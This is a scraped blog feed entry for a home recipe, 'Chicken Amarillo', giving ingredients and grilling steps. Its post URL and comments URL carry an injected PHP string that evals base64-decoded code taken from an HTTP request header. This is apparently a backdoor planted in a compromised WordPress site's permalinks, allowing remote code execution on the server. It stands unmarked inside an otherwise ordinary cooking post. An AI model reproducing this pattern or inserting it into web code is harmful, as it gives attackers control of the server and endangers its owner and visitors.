The Lemon Plum » white meat http://thelemonplum.com Fri, 16 Jul 2010 18:02:53 +0000 en hourly 1 http://wordpress.org/?v=3.0 Chicken Amarillo http://thelemonplum.com/2008/06/25/chicken-amarillo/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://thelemonplum.com/2008/06/25/chicken-amarillo/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Wed, 25 Jun 2008 12:48:05 +0000 thelemonplum http://thelemonplum.com/?p=77 As of late Ive been trying to eat more white meat chicken and less beef and lamb and all that good stuff i love! I used to never like white meat, but if you can change someones mind, like mine, about a recipe with white meat in it, then you have a winner for sure. This recipe is a really simple but delicious addition to any table. You can leave the skins off if thats what you prefer, but I recommend leaving them on just because it really moistens up the breast of the chicken and gives it that extra flavor. If you do leave the skin on, then your in for a treat because this skin is going to be super crispy and incredibly flavorful! This dish also has a sort of Mexican flair to it, besides the name, it also has cilantro in it which has a wonderfully fresh flavor!

Serves 4

2 bone less chicken breasts, skin on
3 green or red bell peppers diced
1 bunch cilantro, no stems
1T garlic
2C olive oil
1/4C onions, diced
1/2t cumin (optional)
1t lemon juice

In a pan place 1T olive oil on a stove top and place peppers, garlic, onions, and lemon juice. Saute just until the onions become tender. Add the cilantro last, since this will cook pretty quickly. Season chicken breast with S&P, and cumin and grill skin side down. Lightly burn the skin then turn over and grill for a few minutes more, turning occasionally until fully cooked. Place the onion mixture over the chicken and serve!

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